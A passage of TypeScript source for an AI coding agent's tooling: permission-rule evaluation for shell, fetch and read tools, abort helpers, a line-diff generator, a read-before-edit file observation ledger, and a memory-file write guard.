folding there would widen what a rule\n // permits (#305 item 1).\n const matchesRule = (rule: ParsedRule, fold: boolean): boolean => {\n const pool = fold ? restrictiveCandidates : candidates;\n if (tool === 'WebFetch') {\n try {\n // URL.toString() gives origin roots a trailing slash, matching the remembered origin glob.\n const url = new URL(candidates[0]).toString();\n return ruleMatchesCandidate(rule, tool, url, false);\n } catch {\n // Invalid URLs retain the normal raw-argument matching behavior.\n }\n }\n return pool.some((candidate) => ruleMatchesCandidate(rule, tool, candidate, fold));\n };\n // What a Read, Glob or Grep reaches. Judged wherever a refusal may follow from it: in the modes\n // that judge reads, and in `dontAsk`, which refuses the call regardless and must refuse it with\n // the reason that is actually the blocker. Where reads are not judged at all (`auto`,\n // `bypassPermissions`) this stays undefined and nothing here can refuse early.\n const readTarget =\n scope &&\n paths &&\n (scope.judgeReads || scope.refuseUnreachableReads) &&\n WORKSPACE_READ_TOOLS.has(tool)\n ? readToolTarget(tool, args, paths)\n : undefined;\n const unreadablePattern =\n readTarget !== undefined && isUnreadablePattern(readTarget) ? readTarget.reason : undefined;\n const outside = readTarget === 'outside' ? { outsideWorkspace: true as const } : {};\n\n // What the Bash tool runs, and whether it is compound, read once for the rules below.\n const platform = options.platform ?? process.platform;\n const bashReading =\n tool === 'Bash' && typeof args.command === 'string'\n ? readBashCommand(args.command, platform, options.shell)\n : undefined;\n // A compound command under a Bash deny or ask rule is never run unprompted: those rules read one\n // line and cannot see what a `&&`, a `;` or a second line runs (see `hasBashAdjudicationPolicy`).\n const compoundUnderPolicy =\n bashReading?.compound === true && hasBashRestriction(parsed)\n ? { compoundUnderPolicy: true as const }\n : {};\n\n // Deny rules first, then ask, then allow — every one outranking what follows.\n for (const entry of parsed.deny) {\n if (matchesRule(entry.parsed, true)) {\n return { decision: 'deny', matchedRule: entry.text, source: 'deny' };\n }\n }\n for (const entry of parsed.ask) {\n if (matchesRule(entry.parsed, true)) {\n // Where reads are not judged (`auto`), an ask rule still prompts (#527), so the target is\n // judged here for this one verdict: a read no root serves carries the same marker as in\n // `default`, which names the unreachable target, not the ask rule, as the remedy.\n const askOutside =\n readTarget === undefined &&\n scope &&\n paths &&\n WORKSPACE_READ_TOOLS.has(tool) &&\n readToolTarget(tool, args, paths) === 'outside'\n ? { outsideWorkspace: true as const }\n : outside;\n return {\n decision: 'ask',\n matchedRule: entry.text,\n source: 'ask',\n ...askOutside,\n ...compoundUnderPolicy,\n };\n }\n }\n if (tool === 'Bash') {\n // Two passes over `allow` rather than one, because the order is exact rules, then the compound\n // ask, then glob and bare rules: a single pass in list order would reach a glob or bare rule\n // before a later exact rule and could not tell where the compound ask belongs. The second pass\n // below tests the exact rules again, which cannot match any more and costs one comparison each.\n //\n // An exact allow rule admits exactly the line the user wrote down, compound or not, once no\n // deny or ask rule matched it.\n for (const entry of parsed.allow) {\n if (\n isExactPattern(entry.parsed) &&\n bashAllowRuleMatches(entry.parsed, args.command, platform, options.shell, bashReading)\n ) {\n return { decision: 'allow', matchedRule: entry.text, source: 'allow' };\n }\n }\n // Nothing the user wrote down vouches for this compound command, and the Bash deny/ask rules\n // could not read it: ask, in every mode that can.\n if (compoundUnderPolicy.compoundUnderPolicy) {\n return { decision: 'ask', source: 'default', ...compoundUnderPolicy };\n }\n }\n for (const entry of parsed.allow) {\n const matched =\n tool === 'Bash'\n ? bashAllowRuleMatches(entry.parsed, args.command, platform, options.shell, bashReading)\n : matchesRule(entry.parsed, false);\n if (matched) {\n return { decision: 'allow', matchedRule: entry.text, source: 'allow' };\n }\n }\n\n // A write into the memory directory needs no prompt: the guard in `memory-write-guard.ts` judges\n // its content. Every rule the user wrote outranks this, as for a read, so a `deny` or `ask` on\n // Write has already returned above.\n if (writesOnlyMemory(tool, args, scope) || removesOnlyMemory(tool, args, scope)) {\n return { decision: 'allow', source: 'memory' };\n }\n\n // `sandbox.autoAllowBashIfSandboxed` is evaluated last, and only in place of\n // the *default* ask. Every user-written rule outranks it: a matching `deny`\n // has already returned above and can never be softened into an allow (the\n // property the hard-deny check in the agent loop depends on), a matching\n // `ask` still prompts, and — because a shell line evades globs far too easily\n // — a deny/ask list that exists but did not match keeps the default ask too.\n // The setting only removes the prompt Book raises when the user configured no\n // adjudication at all, and only for a command really confined by bubblewrap.\n if (sandboxAutoAllows(toolName, args, settings, options)) {\n return { decision: 'allow', source: 'sandbox' };\n }\n\n // Reading or searching what the tool can serve needs no prompt in the modes that judge reads\n // (#264); nor does a call with no target at all, which the tool rejects itself with the real\n // reason (a missing argument, or arguments that were not valid JSON). Every user-written rule\n // outranks this: deny and ask returned above.\n if (\n scope?.autoAllowReads &&\n (readTarget === 'none' ||\n (readTarget === 'servable' && (tool === 'Read' || !hasReadAdjudication(parsed))))\n ) {\n return { decision: 'allow', source: 'workspace' };\n }\n\n // A read-only Git call reports on the workspace root and changes nothing, so it needs no\n // prompt in the modes that judge calls (decision B). Deny and ask already returned above, and\n // a workspace that holds a home directory still asks, the way every other read there does.\n if (scope?.autoAllowReads && WORKSPACE_READ_ONLY_GIT_TOOLS.has(tool)) {\n return { decision: 'allow', source: 'workspace' };\n }\n\n if (ALWAYS_ALLOWED_TOOLS.has(tool)) {\n return { decision: 'allow', source: 'default' };\n }\n\n // A pattern the matcher cannot read: the walk would never have started, so the call is refused\n // with the matcher's own reason rather than as an unreachable path — no directory can be added to\n // fix a pattern, and the `additionalDirectories` remedy would send the model somewhere else for\n // nothing. An `ask` rule returned above, so a user who named the pattern still gets asked.\n if (unreadablePattern !== undefined) {\n return { decision: 'refuse', source: 'default', unreadablePattern };\n }\n\n // A target no root contains: the tool refuses it however it is approved, so the call is\n // refused here instead of putting a prompt nobody can satisfy on screen (#305 item 3). An\n // `ask` rule returned above, so a user who named the target still gets asked.\n if (readTarget === 'outside') {\n return { decision: 'refuse', source: 'default', outsideWorkspace: true };\n }\n\n // No rule matched — default to asking.\n return { decision: 'ask', source: 'default' };\n}\n\n/**\n * Tools that never prompt: the agent's checklist, and the advisor the user chose with\n * `/advisor` (it reads the conversation and acts on nothing). A `deny` rule still blocks\n * them and an `ask` rule still asks, and `dontAsk` does not refuse them, since it only\n * refuses what it would have had to ask about. (A write into the memory directory is\n * allowed separately, with source `memory`.)\n */\nexport const ALWAYS_ALLOWED_TOOLS = new Set(['TodoWrite', 'Advisor']);\n","export function throwIfAborted(signal?: AbortSignal): void {\n if (!signal?.aborted) return;\n\n if (signal.reason instanceof Error) throw signal.reason;\n throw new Error(typeof signal.reason === 'string' ? signal.reason : 'Operation cancelled');\n}\n\n/**\n * Subscribe to `signal`, returning an unsubscribe function.\n *\n * Fires immediately when the signal has already aborted, so a caller that\n * subscribes after an `await` cannot miss an abort that landed during it.\n * Handlers must be idempotent for that reason.\n */\nexport function onAbort(signal: AbortSignal | undefined, handler: () => void): () => void {\n if (!signal) return () => {};\n if (signal.aborted) {\n handler();\n return () => {};\n }\n signal.addEventListener('abort', handler, { once: true });\n return () => signal.removeEventListener('abort', handler);\n}\n\n/**\n * Sleep, resolving early if `signal` aborts.\n *\n * Resolves rather than throws on abort: callers use it for backoff and check the\n * signal themselves at the point where cancelling changes what they do next.\n */\nexport async function delay(ms: number, signal?: AbortSignal): Promise<void> {\n if (ms <= 0 || signal?.aborted) return;\n await new Promise<void>((resolve) => {\n const timer = setTimeout(() => {\n unsubscribe();\n resolve();\n }, ms);\n const unsubscribe = onAbort(signal, () => {\n clearTimeout(timer);\n resolve();\n });\n });\n}\n\n/** Yield a macrotask so terminal input, Ink rendering, timers, and aborts can run. */\nexport async function yieldToEventLoop(signal?: AbortSignal): Promise<void> {\n throwIfAborted(signal);\n await new Promise<void>((resolve) => setImmediate(resolve));\n throwIfAborted(signal);\n}\n","import { throwIfAborted, yieldToEventLoop } from '../async.js';\n\n/**\n * Minimal unified-diff generator for tool result output.\n * Produces a CC-style snippet: a few context lines around each hunk with\n * `-`/`+` markers. Good enough for ToolCallBlock rendering; not a full diff3.\n */\n\nfunction splitLines(s: string): string[] {\n // Preserve a trailing empty line so edits at EOF render correctly.\n const lines = s.split('\\n');\n if (lines.length > 0 && lines[lines.length - 1] === '') lines.pop();\n return lines;\n}\n\nexport interface DiffHunk {\n oldStart: number;\n newStart: number;\n lines: Array<{ kind: 'ctx' | 'add' | 'del'; text: string }>;\n}\n\nexport interface DiffStats {\n addedLines: number;\n removedLines: number;\n}\n\ninterface DiffOp {\n kind: 'ctx' | 'add' | 'del';\n text: string;\n ai: number;\n bi: number;\n}\n\nconst DIFF_YIELD_CELLS = 32_768;\nconst DIFF_YIELD_ITEMS = 1_024;\n\n/**\n * Lines shared at both ends of the two inputs.\n *\n * The LCS table below is O(n·m) in time and memory, and almost every real\n * edit changes a few lines of a file that is otherwise identical on both\n * sides. Trimming the shared prefix and suffix first turns a one-line edit\n * in a twenty-thousand-line file from a 400M-cell table into a handful.\n */\nfunction commonAffixes(a: string[], b: string[]): { prefix: number; suffix: number } {\n const max = Math.min(a.length, b.length);\n let prefix = 0;\n while (prefix < max && a[prefix] === b[prefix]) prefix++;\n let suffix = 0;\n while (suffix < max - prefix && a[a.length - 1 - suffix] === b[b.length - 1 - suffix]) suffix++;\n return { prefix, suffix };\n}\n\nfunction contextOps(a: string[], from: number, count: number, bOffset: number): DiffOp[] {\n const ops: DiffOp[] = [];\n for (let index = 0; index < count; index++) {\n const ai = from + index;\n ops.push({ kind: 'ctx', text: a[ai], ai, bi: ai + bOffset });\n }\n return ops;\n}\n\n/** Walk a filled LCS table into an edit script, offset into the full inputs. */\nfunction editScript(\n a: string[],\n b: string[],\n dp: ArrayLike<ArrayLike<number>>,\n offset: number,\n): DiffOp[] {\n const n = a.length;\n const m = b.length;\n const ops: DiffOp[] = [];\n let i = 0;\n let j = 0;\n while (i < n && j < m) {\n if (a[i] === b[j]) {\n ops.push({ kind: 'ctx', text: a[i], ai: offset + i, bi: offset + j });\n i++;\n j++;\n } else if (dp[i + 1][j] >= dp[i][j + 1]) {\n ops.push({ kind: 'del', text: a[i], ai: offset + i, bi: offset + j });\n i++;\n } else {\n ops.push({ kind: 'add', text: b[j], ai: offset + i, bi: offset + j });\n j++;\n }\n }\n while (i < n) {\n ops.push({ kind: 'del', text: a[i], ai: offset + i, bi: offset + j });\n i++;\n }\n while (j < m) {\n ops.push({ kind: 'add', text: b[j], ai: offset + i, bi: offset + j });\n j++;\n }\n return ops;\n}\n\n/** Group consecutive non-context ops into hunks, padded by `context` ctx lines. */\nfunction hunkBounds(ops: DiffOp[], context: number): Array<[number, number]> {\n const bounds: Array<[number, number]> = [];\n let k = 0;\n while (k < ops.length) {\n if (ops[k].kind === 'ctx') {\n k++;\n continue;\n }\n const start = k;\n // Walk back context.\n let ctxBefore = 0;\n let s = start - 1;\n while (s >= 0 && ops[s].kind === 'ctx' && ctxBefore < context) {\n s--;\n ctxBefore++;\n }\n // Walk forward through all consecutive non-context ops, then context after.\n let e = start;\n while (e < ops.length && ops[e].kind !== 'ctx') e++;\n let ctxAfter = 0;\n while (e < ops.length && ops[e].kind === 'ctx' && ctxAfter < context) {\n e++;\n ctxAfter++;\n }\n // Two changes closer than twice the context share their context lines, so\n // they are one hunk, as `diff -u` prints them. Walking back from the second\n // would otherwise reach into the first hunk and print those lines twice.\n const previous = bounds.at(-1);\n if (previous && s + 1 <= previous[1]) previous[1] = e;\n else bounds.push([s + 1, e]);\n k = e;\n }\n return bounds;\n}\n\nfunction hunkFrom(ops: DiffOp[], start: number, end: number): DiffHunk {\n const hunkOps = ops.slice(start, end);\n return {\n oldStart: (hunkOps[0]?.ai ?? 0) + 1,\n newStart: (hunkOps[0]?.bi ?? 0) + 1,\n lines: hunkOps.map((o) => ({ kind: o.kind, text: o.text })),\n };\n}\n\n/** Compute a line-level diff between two strings. Returns hunks with context. */\nexport function lineDiff(oldText: string, newText: string, context = 3): DiffHunk[] {\n const a = splitLines(oldText);\n const b = splitLines(newText);\n const { prefix, suffix } = commonAffixes(a, b);\n const midA = a.slice(prefix, a.length - suffix);\n const midB = b.slice(prefix, b.length - suffix);\n\n // LCS-based edit script over the changed span only.\n const n = midA.length;\n const m = midB.length;\n const dp: number[][] = Array.from({ length: n + 1 }, () => new Array(m + 1).fill(0));\n for (let i = n - 1; i >= 0; i--) {\n for (let j = m - 1; j >= 0; j--) {\n dp[i][j] = midA[i] === midB[j] ? dp[i + 1][j + 1] + 1 : Math.max(dp[i + 1][j], dp[i][j + 1]);\n }\n }\n\n const ops = [\n ...contextOps(a, 0, prefix, 0),\n ...editScript(midA, midB, dp, prefix),\n ...contextOps(a, a.length - suffix, suffix, b.length - a.length),\n ];\n return hunkBounds(ops, context).map(([start, end]) => hunkFrom(ops, start, end));\n}\n\n/** Cooperative variant used by agent tools so large diffs do not block Ink. */\nexport async function lineDiffAsync(\n oldText: string,\n newText: string,\n context = 3,\n signal?: AbortSignal,\n): Promise<DiffHunk[]> {\n const a = splitLines(oldText);\n const b = splitLines(newText);\n const { prefix, suffix } = commonAffixes(a, b);\n const midA = a.slice(prefix, a.length - suffix);\n const midB = b.slice(prefix, b.length - suffix);\n const n = midA.length;\n const m = midB.length;\n const dp: number[][] = [];\n\n for (let row = 0; row <= n; row++) {\n dp.push(new Array<number>(m + 1).fill(0));\n if (row > 0 && row % 128 === 0) await yieldToEventLoop(signal);\n }\n\n let cellsUntilYield = DIFF_YIELD_CELLS;\n for (let i = n - 1; i >= 0; i--) {\n for (let j = m - 1; j >= 0; j--) {\n dp[i][j] = midA[i] === midB[j] ? dp[i + 1][j + 1] + 1 : Math.max(dp[i + 1][j], dp[i][j + 1]);\n cellsUntilYield--;\n if (cellsUntilYield === 0) {\n cellsUntilYield = DIFF_YIELD_CELLS;\n await yieldToEventLoop(signal);\n }\n }\n }\n\n throwIfAborted(signal);\n const ops = [\n ...contextOps(a, 0, prefix, 0),\n ...editScript(midA, midB, dp, prefix),\n ...contextOps(a, a.length - suffix, suffix, b.length - a.length),\n ];\n if (ops.length > DIFF_YIELD_ITEMS) await yieldToEventLoop(signal);\n\n const hunks: DiffHunk[] = [];\n for (const [start, end] of hunkBounds(ops, context)) {\n hunks.push(hunkFrom(ops, start, end));\n await yieldToEventLoop(signal);\n }\n\n throwIfAborted(signal);\n return hunks;\n}\n\nexport function diffStatsFromHunks(hunks: DiffHunk[]): DiffStats {\n let addedLines = 0;\n let removedLines = 0;\n for (const hunk of hunks) {\n for (const line of hunk.lines) {\n if (line.kind === 'add') addedLines++;\n if (line.kind === 'del') removedLines++;\n }\n }\n return { addedLines, removedLines };\n}\n\nexport function renderDiffWithStats(\n oldText: string,\n newText: string,\n context = 3,\n): { diff: string; stats: DiffStats } {\n const hunks = lineDiff(oldText, newText, context);\n if (hunks.length === 0) return { diff: '', stats: { addedLines: 0, removedLines: 0 } };\n const out: string[] = [];\n for (const h of hunks) {\n out.push(`@@ -${h.oldStart} +${h.newStart} @@`);\n for (const l of h.lines) {\n const prefix = l.kind === 'add' ? '+' : l.kind === 'del' ? '-' : ' ';\n out.push(prefix + l.text);\n }\n }\n return { diff: out.join('\\n'), stats: diffStatsFromHunks(hunks) };\n}\n\nexport async function renderDiffWithStatsAsync(\n oldText: string,\n newText: string,\n context = 3,\n signal?: AbortSignal,\n): Promise<{ diff: string; stats: DiffStats }> {\n const hunks = await lineDiffAsync(oldText, newText, context, signal);\n if (hunks.length === 0) return { diff: '', stats: { addedLines: 0, removedLines: 0 } };\n\n const out: string[] = [];\n for (let hunkIndex = 0; hunkIndex < hunks.length; hunkIndex++) {\n const hunk = hunks[hunkIndex];\n out.push(`@@ -${hunk.oldStart} +${hunk.newStart} @@`);\n for (let lineIndex = 0; lineIndex < hunk.lines.length; lineIndex++) {\n const line = hunk.lines[lineIndex];\n const prefix = line.kind === 'add' ? '+' : line.kind === 'del' ? '-' : ' ';\n out.push(prefix + line.text);\n if (lineIndex > 0 && lineIndex % DIFF_YIELD_ITEMS === 0) await yieldToEventLoop(signal);\n }\n if (hunkIndex > 0 && hunkIndex % 64 === 0) await yieldToEventLoop(signal);\n }\n return { diff: out.join('\\n'), stats: diffStatsFromHunks(hunks) };\n}\n\n/** Render a unified diff string. */\nexport function renderDiff(oldText: string, newText: string, context = 3): string {\n return renderDiffWithStats(oldText, newText, context).diff;\n}\n","import { createHash } from 'crypto';\nimport { readFile, stat } from 'fs/promises';\nimport { normalize, relative, resolve } from 'path';\nimport type {\n FileObservation,\n FileObservationOperation,\n ToolContext,\n ToolResult,\n} from '../types/tools.js';\nimport { canonicalizePath } from './path-utils.js';\nimport { toolFailure } from './result.js';\n\nexport function workspaceIdentity(workspaceRoot: string): string {\n const root = normalize(resolve(workspaceRoot));\n const stable = process.platform === 'win32' ? root.toLowerCase() : root;\n return createHash('sha256').update(stable).digest('hex').slice(0, 24);\n}\n\n/**\n * A path as observations and checkpoint files are matched on: forward slashes, and on\n * case-insensitive filesystems (Windows) one spelling for every casing of the same file,\n * mirroring workspaceIdentity's root folding. A matching key only; never display it.\n */\nexport function normalizeObservedPath(path: string): string {\n const normalized = path.replace(/\\\\/g, '/');\n return process.platform === 'win32' ? normalized.toLowerCase() : normalized;\n}\n\nexport function observationKey(workspaceId: string, path: string): string {\n return `${workspaceId}:${normalizeObservedPath(path)}`;\n}\n\n/**\n * The path an observation is filed and looked up under: the file's position relative to the\n * workspace root, with links followed on **both** sides.\n *\n * The two ends of the ledger have to derive this one way. `resolveWorkspacePath` reports a\n * workspace file relative to the root *after* links whenever the path was not written inside the\n * root as given (`asWrittenInside`), so a workspace root reached through a symlink — or typed in\n * 8.3 short form, which is the same disagreement on Windows — makes a lexical\n * `relative(resolve(workspaceRoot), absolutePath)` name a *different* file: the Read filed\n * `../real/a.txt` and the Edit looked up `a.txt`, so the write answered `file_not_observed`\n * (PR #334 finding 6). Canonicalizing both sides is the one spelling under which the two agree,\n * and it is the one the resolution has already committed to.\n *\n * A file in an honored root keeps its `../` prefix, because an honored root is outside the\n * workspace either way: that is what keeps `notes.txt` in `/srv/app` and `notes.txt` in the\n * workspace from sharing a ledger entry.\n */\nexport function observationPathFor(workspaceRoot: string, absolutePath: string): string {\n const root = canonicalizePath(resolve(workspaceRoot));\n return relative(root, canonicalizePath(absolutePath)).replace(/\\\\/g, '/');\n}\n\n/**\n * An outline shows the model a file's declarations, not its content. It is\n * recorded, but it never stands in for having seen the file: it satisfies\n * neither the observed-file check nor the freshness check below.\n */\nfunction isOutline(observation: FileObservation): boolean {\n return observation.operation === 'outline';\n}\n\n/**\n * Whether `next` may take `current`'s place in an observation ledger. An\n * outline never displaces a real observation of the same file, so it cannot\n * refresh the hash a mutation is checked against.\n */\nexport function mayReplaceObservation(\n current: FileObservation | undefined,\n next: FileObservation,\n): boolean {\n return !current || !isOutline(next) || isOutline(current);\n}\n\n/**\n * Whether `next` takes `current`'s place when a ledger is rebuilt from recorded\n * observations (a resumed transcript, a checkpoint). A real observation always\n * replaces an outline, and an outline never replaces one, whatever the\n * timestamps: a parallel batch records its results in call order, so an\n * outline that finished after a Read of the same file can come first with the\n * later time. Between two of the same kind, the newer wins.\n */\nexport function supersedesObservation(\n current: FileObservation | undefined,\n next: FileObservation,\n): boolean {\n if (!current) return true;\n if (isOutline(current) !== isOutline(next)) return isOutline(current);\n return current.timestamp <= next.timestamp;\n}\n\n/**\n * Rebuild a resumed session's ledger from its transcript under\n * `supersedesObservation`, so it ends where the live ledger did: an outline is\n * still only an outline after a resume, and a Read is still a Read.\n */\nexport function seedObservationLedger(\n ledger: Map<string, FileObservation>,\n messages: readonly { fileObservations?: readonly FileObservation[] }[],\n): Map<string, FileObservation> {\n for (const message of messages) {\n for (const observation of message.fileObservations ?? []) {\n const key = observationKey(observation.workspaceId, observation.path);\n if (supersedesObservation(ledger.get(key), observation)) ledger.set(key, observation);\n }\n }\n return ledger;\n}\n\nexport async function observeFile(\n ctx: ToolContext,\n absolutePath: string,\n operation: FileObservationOperation,\n coverage?: { lineStart?: number; lineEnd?: number },\n): Promise<FileObservation> {\n const bytes = await readFile(absolutePath);\n const workspaceId = workspaceIdentity(ctx.workspaceRoot);\n const path = observationPathFor(ctx.workspaceRoot, absolutePath);\n const observation: FileObservation = {\n path,\n workspaceId,\n sha256: createHash('sha256').update(bytes).digest('hex'),\n byteSize: bytes.byteLength,\n lineStart: coverage?.lineStart,\n lineEnd: coverage?.lineEnd,\n operation,\n sourceRef: ctx.currentToolTraceId ?? 'runtime-tool',\n timestamp: Date.now(),\n };\n const key = observationKey(workspaceId, path);\n const ledger = ctx.fileObservationLedger;\n if (ledger && mayReplaceObservation(ledger.get(key), observation)) ledger.set(key, observation);\n return observation;\n}\n\nexport async function requireFreshObservation(\n ctx: ToolContext,\n absolutePath: string,\n displayPath: string,\n): Promise<string | undefined> {\n const workspaceId = workspaceIdentity(ctx.workspaceRoot);\n // Looked up by the same derivation `observeFile` filed it under, not by the display spelling:\n // the two are the same file spelled two ways whenever the workspace root is itself reached\n // through a link (PR #334 finding 6). `displayPath` is what the message names: the caller's\n // `messagePathFor`, so a workspace file keeps its relative spelling and a memory file its\n // absolute path. It is used as given, since normalising separators would break a native one.\n const remembered = ctx.fileObservationLedger?.get(\n observationKey(workspaceId, observationPathFor(ctx.workspaceRoot, absolutePath)),\n );\n if (!remembered || isOutline(remembered)) return undefined;\n try {\n const info = await stat(absolutePath);\n if (!info.isFile()) return staleMessage(displayPath);\n const bytes = await readFile(absolutePath);\n const currentHash = createHash('sha256').update(bytes).digest('hex');\n return currentHash === remembered.sha256 ? undefined : staleMessage(displayPath);\n } catch {\n return staleMessage(displayPath);\n }\n}\n\nfunction staleMessage(path: string): string {\n return `SKIPPED: ${path} changed or disappeared since it was last shown to the model. Call Read (or mention the file again) before modifying it.`;\n}\n\n/**\n * Require that the file was observed this session (Read, mention, or a prior\n * mutation; an outline does not count) before it may be mutated. Contexts\n * without an observation ledger (bare harnesses, low-level embedding) are\n * exempt. Returns a ready ToolResult failure so every mutating tool reports the\n * same code and remediation.\n *\n * Keyed on `absolutePath` through {@link observationPathFor}, the way the observation was filed —\n * `displayPath` is the message spelling (`messagePathFor`) and can be the other spelling of the\n * same file. It names the file in the message either way.\n */\nexport function requireObservationForMutation(\n ctx: ToolContext,\n absolutePath: string,\n displayPath: string,\n retryVerb: string,\n): ToolResult | undefined {\n const ledger = ctx.fileObservationLedger;\n if (!ledger) return undefined;\n const workspaceId = workspaceIdentity(ctx.workspaceRoot);\n const remembered = ledger.get(\n observationKey(workspaceId, observationPathFor(ctx.workspaceRoot, absolutePath)),\n );\n if (remembered && !isOutline(remembered)) return undefined;\n const seen = remembered\n ? \"has only been outlined in this session, and an outline is not the file's content\"\n : 'has not been read in this session';\n return toolFailure(\n `SKIPPED: ${displayPath} ${seen}. Call Read (or mention the file) before modifying it.`,\n {\n code: 'file_not_observed',\n remediation: `Read the file first, then retry the ${retryVerb}.`,\n },\n );\n}\n","import { lstatSync, readFileSync } from 'fs';\nimport { basename, relative, resolve, sep } from 'path';\nimport type { ToolContext, ToolResult } from './types/tools.js';\nimport { DEFAULT_MAX_INDEX_LINES, MAX_INDEX_BYTES } from './memory-limits.js';\nimport { looksLikeSecretOrUnfit } from './secret-detect.js';\nimport { canonicalizePath } from './tools/path-utils.js';\nimport { toolFailure } from './tools/result.js';\n\n/**\n * The checks and the provenance stamp every mutation tool applies to a write into the memory\n * directory, after it has computed the final content and before it writes.\n *\n * Imports no memory module with a runtime dependency on `permissions.ts` (the file tools reach this\n * file, and `permissions.ts` reaches the file tools), which is why the limits live in\n * `memory-limits.ts`.\n */\n\n/** A topic file past this size still saves, with a warning: one fact per file. */\nexport const TOPIC_FILE_WARN_BYTES = 4_096;\n\nconst INDEX_FILE = 'MEMORY.md';\nconst DELEGATED_TYPES: readonly string[] = ['project', 'reference'];\n\nexport type MemoryWriteCheck =\n { ok: true; content: string | null; warnings: string[] } | { ok: false; failure: ToolResult };\n\nfunction refuse(code: string, message: string, remediation: string): MemoryWriteCheck {\n return { ok: false, failure: toolFailure(message, { code, remediation }) };\n}\n\n// -- frontmatter ------------------------------------------------------------------------------\n// Edited line by line rather than parsed and re-serialized, so a stamp changes only the metadata\n// block's own lines and leaves every other key, comment and the body byte-for-byte as written.\n\ninterface Frontmatter {\n lines: string[];\n /** Index of the closing `---`; line 0 opens the block. */\n close: number;\n}\n\nconst stripCr = (line: string): string => line.replace(/\\r$/, '');\n\nfunction findFrontmatter(text: string): Frontmatter | null {\n const lines = text.split('\\n');\n if (stripCr(lines[0] ?? '').trim() !== '---') return null;\n for (let i = 1; i < lines.length; i++) {\n if (stripCr(lines[i]) === '---') return { lines, close: i };\n }\n return null;\n}\n\ninterface MetadataBlock {\n /** Index of the `metadata:` line. */\n start: number;\n /** One past the last child line (blank lines trailing the block do not count). */\n end: number;\n /** Leading whitespace of the children. */\n indent: string;\n /** The mapping is written inline (`metadata: {}`), so there are no child lines to edit. */\n inline: string | null;\n}\n\nfunction metadataBlock({ lines, close }: Frontmatter): MetadataBlock | null {\n const start = lines.findIndex((line, i) => i > 0 && i < close && /^metadata\\s*:/.test(line));\n if (start < 0) return null;\n const rest = stripCr(lines[start])\n .replace(/^metadata\\s*:/, '')\n .replace(/\\s+#.*$/, '')\n .trim();\n let last = start;\n let indent = ' ';\n let sawChild = false;\n for (let i = start + 1; i < close; i++) {\n const line = stripCr(lines[i]);\n if (line.trim() === '') continue;\n if (!/^\\s/.test(line)) break;\n if (!sawChild) {\n indent = /^\\s*/.exec(line)?.[0] ?? ' ';\n sawChild = true;\n }\n last = i;\n }\n return {\n start,\n end: last + 1,\n indent,\n inline: rest === '' || rest.startsWith('#') ? null : rest,\n };\n}\n\nfunction scalar(raw: string): string {\n const value = raw.replace(/\\s+#.*$/, '').trim();\n return value.replace(/^([\"'])(.*)\\1$/, '$2');\n}\n\n/** The line index of `key` among the metadata block's own children, or -1. */\nfunction childKey(lines: string[], block: MetadataBlock, key: string): number {\n for (let i = block.start + 1; i < block.end; i++) {\n const line = stripCr(lines[i]);\n if (!line.startsWith(block.indent)) continue;\n const rest = line.slice(block.indent.length);\n if (/^\\s/.test(rest)) continue;\n if (new RegExp(`^${key}\\\\s*:`).test(rest)) return i;\n }\n return -1;\n}\n\n/** A frontmatter value, from `metadata.<key>` first and then the top level (the legacy layout). */\nfunction frontmatterValue(text: string, key: string): string | undefined {\n const fm = findFrontmatter(text);\n if (!fm) return undefined;\n const block = metadataBlock(fm);\n if (block && block.inline === null) {\n const at = childKey(fm.lines, block, key);\n if (at >= 0)\n return scalar(\n stripCr(fm.lines[at])\n .slice(block.indent.length)\n .replace(/^[^:]*:/, ''),\n );\n }\n for (let i = 1; i < fm.close; i++) {\n const line = stripCr(fm.lines[i]);\n if (new RegExp(`^${key}\\\\s*:`).test(line)) return scalar(line.replace(/^[^:]*:/, ''));\n }\n return undefined;\n}\n\nfunction yamlScalar(value: string): string {\n return /^[\\w.:-]+$/.test(value) ? value : JSON.stringify(value);\n}\n\n/**\n * Set `metadata.originSessionId` (kept when present), `metadata.modified` and, when asked,\n * `metadata.driver` on a topic file that has frontmatter. Returns the text unchanged, with a\n * warning, when the metadata mapping is written in a form this cannot edit line by line.\n */\nfunction stamp(\n text: string,\n options: { sessionId?: string; driver: boolean },\n): { text: string; warning?: string } {\n const fm = findFrontmatter(text);\n if (!fm) return { text };\n const { lines } = fm;\n const cr = lines[0].endsWith('\\r') ? '\\r' : '';\n let block = metadataBlock(fm);\n if (block && block.inline !== null && block.inline !== '{}') {\n return {\n text,\n warning: 'The metadata block is written inline, so it was not stamped with provenance.',\n };\n }\n if (block && block.inline === '{}') {\n lines[block.start] = `metadata:${cr}`;\n block = { ...block, inline: null };\n }\n\n const wanted: Array<{\n key: string;\n value: (existing: string | undefined) => string | undefined;\n }> = [\n {\n key: 'originSessionId',\n value: (existing) => (existing ? undefined : options.sessionId),\n },\n { key: 'modified', value: () => new Date().toISOString() },\n ...(options.driver ? [{ key: 'driver', value: () => 'agent' }] : []),\n ];\n\n if (!block) {\n const indent = ' ';\n const added = wanted.flatMap(({ key, value }) => {\n const next = value(undefined);\n return next === undefined ? [] : [`${indent}${key}: ${yamlScalar(next)}${cr}`];\n });\n lines.splice(fm.close, 0, `metadata:${cr}`, ...added);\n return { text: lines.join('\\n') };\n }\n\n const inserts: string[] = [];\n for (const { key, value } of wanted) {\n const at = childKey(lines, block, key);\n const line = at >= 0 ? stripCr(lines[at]) : '';\n const existing =\n at >= 0 ? scalar(line.slice(block.indent.length).replace(/^[^:]*:/, '')) : undefined;\n const next = value(existing || undefined);\n if (next === undefined) continue;\n if (at < 0) {\n inserts.push(`${block.indent}${key}: ${yamlScalar(next)}${cr}`);\n continue;\n }\n const comment = /(\\s+#.*)$/.exec(line.slice(line.indexOf(':') + 1))?.[1] ?? '';\n lines[at] = `${line.slice(0, line.indexOf(':') + 1)} ${yamlScalar(next)}${comment}${cr}`;\n }\n lines.splice(block.end, 0, ...inserts);\n return { text: lines.join('\\n') };\n}\n\n// -- the index and ownership ------------------------------------------------------------------\n\n/** The file an index entry (`- [Title](file.md) — hook`) links to; undefined for any other line. */\nfunction entryTarget(line: string): string | undefined {\n return /^- \\[[^\\]]*\\]\\(([^()]+)\\)/.exec(line)?.[1];\n}\n\nfunction normalizeLines(text: string): string[] {\n return text.replace(/\\r\\n/g, '\\n').split('\\n');\n}\n\n/** A regular (not linked) file inside the memory root, or null when absent or out of bounds. */\nfunction readMemoryFile(root: string, name: string): string | null {\n const path = resolve(root, name);\n const rel = relative(resolve(root), path);\n if (rel === '' || rel === '..' || rel.startsWith(`..${sep}`)) return null;\n try {\n if (!lstatSync(path).isFile()) return null;\n return readFileSync(path, 'utf-8');\n } catch {\n return null;\n }\n}\n\nconst isAgentOwned = (text: string): boolean => 